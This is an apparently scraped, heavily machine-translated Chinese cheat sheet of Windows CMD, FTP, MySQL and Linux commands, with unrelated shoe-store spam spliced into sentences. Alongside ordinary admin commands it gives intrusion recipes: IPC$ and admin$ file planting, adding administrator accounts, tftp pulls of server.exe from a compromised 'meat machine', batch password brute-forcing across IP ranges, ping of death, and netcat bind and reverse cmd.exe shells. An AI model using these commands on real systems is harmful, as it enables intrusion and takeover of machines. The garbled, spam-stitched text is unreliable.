command prompt (CMD) is in the OS / 2, Windows CE and Windows NT-based operating system platforms (including Windows 2000 and XP, Vista in, and Server 2003) under the
directory
cmd command to run cmd command cmd About CMD command operations Daquan Detailed Second, ver at the DOS window displays version information Third, IIS service order four, MYSQL command five, Linux system Note the basic commands: batch command and variable 1: for the basic format of the command and variable 2: if the basic format commands and variables outside the system command 1, Swiss Army knife: nc.exe2, scan tool: xscan.exe3, command line sniffer : xsniff.exe4, terminal services password cracking: tscrack.exe5, the other 6, FTP commands Detailed Profile cmd cmd command is the abbreviation of command. the command line.
enter the command in the 9x system to open the command line. And in the NT system, you can enter cmd to open, after the cmd in windows2000 alternative, the use of CMD command to query the information system or network is a good judge bad. Right picture shows the interface CMD started. cmd run CMD command: Start - ------ recorder 3. Nslookup ------- IP address of the detector,
shape up skechers, is a monitoring network in the DNS server is to correctly implement the command-line DNS tools. It can be used in Windows NT/2000/XP, but Windows 98 is not integrated in this tool. 4. Explorer ------- Open Windows Explorer 5. Logoff --------- cancellation of order 6. Tsshutdn ------- 60 second countdown shutdown command 7. Lusrmgr.msc-- - Local Users and Groups 8. services.msc-- Local service settings 9. oobe / msoobe / a ---- check whether XP activation 10. notepad -------- Open Notepad 11. cleanmgr ------- garbage in order 12. net start messenger ---- Start messenger service 13. compmgmt.msc-- Computer Management 14. net stop messenger ----- Stop the Messenger service 15. conf --- -------- start netmeeting 16. dvdplay -------- DVD player 17. charmap -------- start Character Map 18. diskmgmt.msc-- disk management utilities Procedure 19. calc ----------- start calculator 20. dfrg.msc------- Disk Defragmenter 21. chkdsk.exe----- Chkdsk disk check 22. devmgmt . msc --- Device Manager 23. regsvr32 / u *. dll ---- stop the dll file to run 24. drwtsn32 ------ System Doctor 25. rononce-p ---- 15 seconds off 26. dxdiag --------- Check the DirectX information 27. regedt32 ------- Registry Editor 28. Msconfig.exe-- System Configuration Utility 29. rsop.msc------- Group Resultant Set of Policy 30. mem.exe-------- Display memory usage 31. regedit.exe---- registry 32. winchat -------- XP comes with LAN chat 33. progman -------- Program Manager 34. winmsd --------- System Information 35. perfmon.msc---- computer performance monitoring program 36. winver -------- - Check Windows version 37. sfc / scannow ----- scanning error and recovery 38. taskmgr ----- Task Manager (2000/xp/2003 39. winver --------- check the Windows version 40. wmimgmt.msc---- open the windows management architecture (WMI) 41. wupdmgr -------- windows updates 42. wscript -------- windows script host settings 43. write- --------- WordPad 44. winmsd --------- System Information 45. wiaacmgr ------- Scanner and Camera Wizard 46. winchat ------- -XP comes with LAN chat 47. mem.exe-------- Display memory usage 48. Msconfig.exe-- System Configuration Utility 49. mplayer2 ------- Simple widnows media player 50 . mspaint -------- drawing board 51. mstsc ---------- the Remote Desktop Connection 52. mplayer2 ------- Media Player 53. magnify ------ - Magnifier utility 54. mmc ------------ Open the Control Panel 55. mobsync -------- sync command 56. dxdiag --------- check DirectX Information 57. drwtsn32 ------ System Doctor 58. devmgmt.msc-- Device Manager 59. dfrg.msc------- Disk Defragmenter 60. diskmgmt.msc-- disk management utilities Procedure 61. dcomcnfg ------- Open the System Component Services 62. ddeshare ------- Open the DDE sharing settings 63. dvdplay -------- DVD player 64. net stop messenger- ---- Stop Messenger Service 65. net start messenger ---- Start messenger service 66. notepad -------- Open Notepad 67. nslookup ------- network management tool guide 68. ntbackup ------- system backup and restore 69. narrator ------- screen Administrator action request 72. netstat-an ---- (TC) command to check the interface 73. syncapp -------- create a briefcase 74. sysedit -------- System Configuration Editor 75 . sigverif ------- file signature verification process 76. sndrec32 ------- recorder 77. shrpubw -------- create a shared folder 78. secpol.msc----- local security policy 79. syskey --------- system encryption, encryption can not be solved soon, the dual system of protection of windows xp password 80. services.msc-- local service set 81. Sndvol32 ----- - volume control program 82. sfc.exe-------- System File Checker 83. sfc / scannow --- windows file protection 84. tsshutdn ------- 60 second countdown shutdown command 85. About tourstart ------ xp (installed xp after roaming procedure) 86. taskmgr -------- Task Manager 87. eventvwr ------- Event Viewer 88. eudcedit- ------ Characters and procedures 89. explorer ------- Open the Explorer 90. packager ------- Object Packager 91. perfmon.msc---- 92 computer performance monitoring procedures . progman -------- Program Manager 93. regedit.exe---- registry 94. rsop.msc------- Group Resultant Set of Policy 95. regedt32 ------- Registry Editor 96. rononce-p ---- 15 seconds off 97. regsvr32 / u *. dll ---- stop the dll file to run 98. regsvr32 / u zipfldr.dll------ 99 cancellation ZIP support . cmd.exe-------- CMD command prompt 100. chkdsk.exe----- Chkdsk disk check 101. certmgr.msc---- certificate management utility 102. calc ----- ------ start the calculator 103. charmap -------- start character map 104. cliconfg ------- SQL SERVER Client Network Utility 105. Clipbrd ------ - Clipboard Viewer 106. conf ----------- start netmeeting 107. compmgmt.msc-- Computer Management 108. cleanmgr ------- garbage in order 109. ciadv.msc- ----- indexing service program 110. osk ------------ Open the on-screen keyboard 111. odbcad32 ------- ODBC Data Source Administrator 112. oobe / msoobe / a - - Check XP is activated 113. lusrmgr.msc---- the local users and groups 114. logoff --------- cancellation of order 115. iexpress ------- Trojans bundled tools, system self- with 116. Nslookup ------- IP address detector 117. fsmgmt.msc----- shared folder manager 118. utilman -------- Utility Manager 119. explorer- ------ open Explorer Detailed CMD command operations net use ipipc $ : to the local for the H: net use ipipc $ / del IPC link delete net use h: / del to delete the other to the local maps for H: mapping net user username password / add create a user net user guest / active: yes active guest user net user to see what user account net user account name View the properties of net localgroup administrators username / add the ; (such as: net start telnet, net start schedule) net stop service name net time goal to stop a service ip view each time net time target ip / set the local computer time and set the yes cancel confirmation net view View local LAN which opened shared net view ip view what the other local area network to share net config open display system set the net logoff disconnect the network share to suspend a net pause service name service net send ip ; text messages / del to delete C: shared net user guest 12345 after landing with the guest user password with the password to 12345 net password change the system login password netstat-a view which ports are opened, used netstat-an netstat-n Show network connection port , commonly used netstat-an netstat-v View the ongoing work of netstat-p protocol name Example: netstat-p tcq / ip view the use of a protocol netstat-s view is the use of all protocols used nbtstat-A ip the other 136-139 one of these ports open, then you can see each other recently username to log in tracert - parameter ip (or computer names) Trace Route (packet), parameters: domain name) to the other host to send the default size of 32 bytes of data, parameters: 65550 ip death ping (send a file larger than 64K and has been to become a ping of death ping) ipconfig (winipcfg) for windows NT and XP (windows 95 98) See the local ip address, ipconfig available parameters All configuration information tlist-t to the tree-line list shows the process (an additional tool for the system, the default is not installed in the installation directory of Support / tools folder) kill-F-F process parameters were added to force the end of a process (additional tools for the system, the default is not installed in the installation directory of the Support / tools folder) del-F file name plus-F parameters can delete the read-only file, / AR, / AH, / AS, / AA, respectively, remove the read-only, hidden, system, archive file, / AR, / AH, / AS, / AA said that in addition to delete read-only, hidden, system, other than the archive files. such as delete the current directory that all read-only file, List of all subdirectories and files. while the parameter / Q to cancel the delete operation of the system confirm deleting it. (two command the same effect) move the drive letter path to store the file name you want to move the path of moving files after moving files Move the file name, using the parameter / y will cancel move confirm the existence of the same file directory prompts to direct coverage fc one.txt two.txt> 3st.txt compare two files and the difference output to 3st.txt file No. id / delete to stop a scheduled task has been registered at all the scheduled tasks view at ip time the program name (or a command) / r at a time to run other programs and restart the computer in a finger username @ host see which users have recently login telnet ip port remote and server, the default port 23 open ip to connect to the IP (an telnet after landing orders) telnet on the machine by typing telnet to access the machine telnet copy path to the file name a path to the file name 2 / y 1 copy files to the specified directory as a file 2, using the parameter / y to confirm cancellation of an existing directory you want to overwrite the file copy c: srv.exe ipadmin $ copying of local c: srv.exe to each other under the admin copy 1st. jpg / b +2 st.txt / a 3st.jpg hide the contents of the 2st.txt to generate 3st.jpg 1st.jpg new file, Note: 2st.txt to empty three-row header, parameters: / b refers to binary file, / a means ASCLL format copy ipadmin $ svv.exe c: or: copyipadmin $ *.* copy each other under the srv.exe admini $ shared files (all files) to the local C: xcopy to copy files or directory tree destination directory name to copy files and directory trees, using the parameter / Y will not be prompted to overwrite the same file using the parameter / e subdirectories can not even copied to the destination address with the next. tftp-i own IP (with a meat grinder as a springboard When the meat machine IP) get server.exe c: server.exe after landing, the When used, if not increase-i Zeyi ASCII mode (text file transfer mode) tftp-i sent the other IP put c: server.exe after landing, upload the local c: server.exe to host ftp ip port for the transfer files to the server or the file operation, the default port is 21. bin refers to the transmission of binary (executable file into); default ASCII format for transmission (text file) route print shows IP routing, Network Address Network will be the main display addres,
skechers outlet, subnet mask, Netmask, gateway address Gateway addres, Interface Address Interface arp view and ARP cache, ARP is the meaning of name resolution, is responsible for an IP resolves the MAC address of a physical nature. arp-a will show All information start the program name or command / max or / min to open a new window and maximized (minimized) to run a program or command attrib mem view the cpu usage of file name (directory name) to view a file (directory) of the property attrib File Name-A-R-S-H or + A + R + S + H to remove (add) a document archive, read-only, system, hidden attributes; with a + is added as an attribute dir view the file,
shape up shoes, the parameter : / Q display file and directory is the system which the user, / T: C display the file creation time, / T: A display file was last accessed time, / T: W was last modified date / t, time / t to use This parameter is variables set p (or other characters) to display the current to the character p (or other characters) at the beginning of the suspension of all environmental variables pause batch program and displays: Press any key to continue .... if performed in a batch program conditional processing (for more explanation see if the command and variable) goto label cmd.exe batch program directed to the line with a label (label must be a separate line, and starts with a colon,
skechers shoes, for example: processing file names to call batch program from another batch program (for more explanation see call /?) for a group of files in each file to execute a specific command (for more explanation see for command and variable) echo on or off to open or close the echo, just echo with no arguments displays the current settings echo echo information messages displayed on the screen echo information>> pass.txt the ; Hello 2 = green, 3 = light green, 4 = red 5 = purple 6 = yellow 7 = white 8 = gray 9 = light blue, A = light green, B = pale light green, C = pink, D = purple, E = yellow, F = bright white cmd.exe prompt to change the display name of the command prompt (the C:, D: Unity to: EntSky) II, ver at the DOS window displays version information winver A pop-up window displays version information (memory size, system version, patch version, computer name) format drive / FS: type format a disk, type: FAT, FAT32, NTFS, cases: Format D: / FS: NTFS md directory name replace the source file to create the directory files to replace the original file name replacing the file ren rename the new file name file name tree structure to display the directory tree,
skechers shoes online, using the parameter-f will list the first name of a folder in the file type the file name to display text more content of the document file name output file-by-screen display command = doskey characters to lock unlock command = doskey to provide a lock for the DOS command (edit the command line, recall win2k command,
skechers women, and create a macro). such as: Lock dir command : doskey dir = entsky (can not use doskey dir = dir); unlock: doskey dir = taskmgr bring up the Task Manager chkdsk / FD: Check the disk and displays a status report D; add parameters / f and fix errors on the disk tlntadmn telnt Services admn, type tlntadmn select 3, then select 8, you can change the default port 23 telnet service port exit to quit any other program or the current cmd.exe with parameters / B is the exit the current batch script instead of cmd.exe path file name path of the executable file to set a path to the executable file. cmd shell window to start a win2K. Parameters: / eff, / en closed, open a command expansion; a more detailed description I see cmd /? regedit / s Registry File name into the registry; parameter / S refers to the import in quiet mode, without any prompts; regedit / e cacls Registry Export Registry File name file name argument to display or modify file access control list (ACL) - for the NTFS format. Parameters: / D user name: Set refuse a user access; / P User Name: perm Replace specified user's access rights; / G username: perm Grant specified user access rights; Perm can be: N None, R read, W Write income, C Change (write), F Full Control; cases: cacls D: est.txt / D pub set d: est.txt refused to pub user access. cacls filename view a list of user rights to access the file contents REM text netsh batch file, add comments or changes to the three local network configuration, IIS service command iisreset / reboot to restart win2k computer (but the system will prompt to restart message appears) iisreset / start or stop start (stop) all Internet service iisreset / restart Stop and then restart all Internet services iisreset / status display all Internet service status iisreset / enable or disable the local system to enable (disable) Internet service restart iisreset / rebootonerror when to start, stop or restart the Internet service, if an error occurs will reboot iisreset / noforce If you can not stop the Internet service, will not be forced to terminate Internet service iisreset / timeout Val over at the arrival time (seconds), the Internet service has not stopped, if the specified / rebootonerror parameters, the computer will reboot . The default is to restart 20 seconds, stop 60 seconds, re-boot 0 seconds. FTP command: (detailed description of the contents of the back) ftp command line format: ftp-v-d-i-n-g [host name ]-v shows all the remote servers response information.-d to use debug mode.-n limit ftp auto login, which does not use. netrc file.-g to cancel the global file name. help [command] or? [command] See the command Description bye or quit to terminate the host FTP process, and exit the FTP management. pwd directory lists the current remote host, or send a local file name put [file uploaded to the host name] to a local file get sent to the remote host or recv [remote host file name] [file after downloading to a local name] sent from a remote host to local host mget [remote-files] number of documents received from the remote host to local host mput local-files to local host a number of documents sent to the remote host dir or ls [remote-directory] [local-file] lists the current remote host files in the directory. If there is a local file, will write the results to set local file to ascii transmission of ASCII files (default) bin or image transfer files in binary mode set for each completed a file transfer bell, alarm cdup back up a directory close interrupt the session with the remote ftp server (and open the corresponding) open host [ ,],[client host name of the file rmdir directory-name Delete a directory in the remote host status shows the current status of FTP system displays the remote host system type user user-name [password] [account] back to another user name to log the remote host open host [port] to re-establish a new connection to prompt interactive prompting mode macdef lcd change the current definition of macro commands working directory of the local host, if the default to go to the current user's HOME directory chmod change file permissions for the remote host case when ON, with MGET command copies the file name to the local machine, all converted to lowercase letters cd remote-dir into the remote host directory cdup into the parent directory of the remote host directory! on the local machine to perform interactive shell, exit back to ftp environment, such as! ls *. zip # 5 four, MYSQL command mysql-h host address-u username-p password to connect MYSQL; If you have just installed MYSQL, root is not super-user password. (Example: mysql-h110. 110.110.110-Uroot-P123456 Note: u and the root can not add a space, the other is the same) exit exit MYSQL mysqladmin-u username-p password new password the old password to change the password grant select on database .* to username @ Log Host identified by began when the two databases: mysql and test. mysql database MYSQL inside it is very important system information, we change the password and add users, in fact, is to use this library to operate. use mysql; show tables; display library describe table name table; shows the structure of data tables create database database name; building a database use the library name; create table table name (field set list); create table drop database database name; drop table table name; delete the library and delete Table delete from table name; the empty records in the table select * from table; display records in a table mysqldump - opt school> school.bbb back up the database: (DOS command in the mysql? in the directory under implementation); Notes: school.bbb database file backup to school, school.bbb is a text file, the file name of any check, turn to see if you have new discoveries. win2003 system under the new command (more practical): shutdown / shut down or restart parameter Local or remote host. Parameter Description: / S off the host, / R to restart the host, / T digital set the delay time range of 0 to 180 seconds, / A cancellation boot, / M / / IP on the specified remote host . Example: shutdown / r / t 0 Restart the local host immediately (no delay) taskill / parameter process name or process pid to terminate one or more tasks and processes. Parameter Description: / PID to terminate the process pid, the command can be used tasklist get the process pid, / IM to terminate the process, process name, / F forced to terminate the process, / T to terminate the specified process, and he started child processes. tasklist shows currently running on the local and remote host, process, service, services, the process identifier of the process (PID). Parameter Description: / M lists the current process dll file loaded, / SVC shows each process corresponding to the service, no parameters to list only the current process. V. Linux basic command system Note: To display version information is case sensitive uname (with win2K's ver) dir displays the current directory files, ls-al displays, including hidden files (with win2K the dir) pwd query the current directory location where the cd cd. . back to the parent directory, pay attention to spaces between cd and ... cd / back to the root directory. cat file name contents of the file cat> abc.txt into abc.txt write the contents of the file. more file name to a page display a text file. cp copy a file mv move file rm file name to delete the file, rm-a directory name to delete directory and subdirectories of the directory name to create the directory mkdir rmdir remove directory, directory, there is no documentation. chmod to set file or directory access permissions grep to find strings in files file comparison file diff file search find date is the date, time, and you who find the current machine using the same time and place of the person and the Login is currently on a machine w inquiry Details of those who view your account name whoami groups see someone's Group passwd to change the password history check their orders over the next display process status ps kill to stop a process gcc hackers often use it to compile the C language written into the file permissions su Specifies the user telnet IP telnet connection other hosts (with win2K), when there is that connection when bash $ success. ftp ftp connection of a server (with win2K) Note: The batch command and variable 1: for the basic format of the command and variable FOR / parameter% variable IN (set) DO command [command_parameters]% variable: Specify a single letter replaceable parameters, such as:% i, a variable is designated by:%% i, and call the variables used:% i% , the variable is case-sensitive (% i is not equal to% I). batch processing time can be variable from% 0 -% 9, 10, of which% 0 use the default name to the batch file,% 1, the default is to use This batch input of the first value, the same token:% 2 -% 9 refers to the input values 2-9; Example: net use ipipc $ pass / user: user in the ip is% 1, pass to% 2 , user is% 3 (set): specify one or a group of files, use wildcards, such as: (D: user.txt) and (11254) (1-1254), {) Description: from 254 到 1} command: the first documents on the implementation of the specified commands, such as: net use command; such as multiple commands to be executed, the command add this: & to separate command_parameters: specify the parameters for a specific command or command line switch IN (set): refers to (set) of values; DO command: refers to the execution command parameters: / L refers to the incremental form of {(set) for the incremental time}; / F refers to from the file value constantly, until the completion date to take {(set) for the file, such as (d: pass.txt) time}. Usage example: @ echo off echo Usage format: test.bat *.*.*> test.txt for / L%% G in (1 1 254) do echo% 1.%% G>> test.txt & net use % 1.%% G / user: administrator | find ;>> test.txt Save as test.bat Description: One of the specified segment of the 254 C class IP in order to establish test administrator password is blank IPC $ connection, if successful, put the IP exists in test.txt . / L refers to the incremental form (ie, from 1-254 or 254-1); enter the IP in front of the default for batch three :*.*.*% 1;%% G for the variable (ip of the last bit); & echo and net use to separate these two orders; | refers to ipc $ established after the results of using find to see if there is complete IP address; (1 1 254) refers to the start value, an increase of volume, end ending value. @ echo off echo Use format: ok.bat ip FOR / F%% i IN (D: user.dic) DO smb. exe% 1%% i D: pass.dic 200 deposit to: ok.exe Description: Enter an IP, use the dictionary file d: pass.dic to violent solutions d: user.dic the user password file in the value until End date taken.%% i for the user name;% 1 for the input of the IP address (default). VII: 2: if the basic format of the command and variable IF [not] errorlevel number command to run if the last return statement is equal to or greater than a specified number of exit code, a specified condition is equal to 1 to execute the next command. 0 refers to the discovery and successful implementation of the (true); 1 means not found, did not execute (false). IF [not] string1 == string2 command statement if the specified text string match (ie: String 1 is equal to string 2) to execute the next command. For example: , the implementation of the back command (Note: call variable name% to% variable and add not nc.exe goto end 2 command statement, statement or else the command IF [not] exist filename command statement else statement with the command: else command statement and then said: The current surface conditions are not established, to refer to the command line else behind. Note: else must if the the same line to be effective. When del command needs to use the entire contents of the command del enclosed, because when the del command to run to a separate line, with the use after the other so a single line; for example: Saber: nc.exe Parameter Description:-h Show help information-d background mode-e prog program redirection, but the connection to the implementation of a [dangerous]-i secs delay interval-l listen mode, for inbound connections - L monitor mode, the connection continues after days of close monitoring until the CTR + C-n IP addresses, domain names-o film can not record the transfer of 16 hex-p [space] port local port number-r random local and remote port interactively using the Telnet-t-u UDP mode-v verbose output, use-vv-w figures in more detail in the interval-z timeout delay of the input, output off (when the anchor for the sweep) Basic Usage: nc-nvv 192.168 .0.1 80 connected to host 192.168.0.1 port 80 nc-l-p 80 to turn on the machine's TCP 80 port and listen nc-nvv-w2-z 192.168.0.1 80-1024 80-1024 sweep the port anchor 192.168.0.1 nc-l-p 5354-t-ec: winntsystem32cmd.exe remote host cmdshell bind the TCP 5354 port in the remote nc-t-ec: winntsystem32cmd.exe 192.168.0.2 5354 bang cmdshell given remote host and reverse connection 192.168 .0.2 the 5354 port Advanced Usage: nc-L-p 80 as a honey pot with a 1: open and keep listening on port 80, until the CTR + C until the nc-L-p 80> c: log.txt as a honeypot with 2: to open and keep listening on port 80, until the CTR + C, while the output to c: log.txt nc-L-p 80 store the file path and name to send documents to each other Host Note: | pipe command redirect command 。display (background execution); cases: @ dir c: winnt>> d: log.txt meaning: behind the scenes dir, and put the result in d: log.txt in> with>> the difference ;> d: log.txt two commands to execute the Second Comparison: with>> the second result is to have preserved, but with:> the only one of the results, because the results of the second the first covered. VIII: 2 scan tool: xscan.exe basic format xscan-host [- ] [other options] scan anchor ; starting IP to end IP Project-active detection information detected whether the survival-os host operating system type of remote detection (through NETBIOS and SNMP protocol)-port detection of commonly used services of the port state inspection FTP-ftp-pub detect weak passwords anonymous users write access to the FTP service detection POP3-pop3 -Server weak password-smtp test SMTP-Server vulnerability-sql testing SQL-Server weak password-smb detected NT-Server weak password-iis IIS detection encoding / decoding CGI test-cgi vulnerability vulnerability-nasl load testing Nessus Attack Scripting-all All items other options-i adapter number to set the network adapter, Skip the host response was not detected-o host-t open port number of concurrent threads, specify the maximum number of concurrent host the number of concurrent threads and concurrent number of hosts, the default number of 100,10-log file name specified scan report file name (the suffix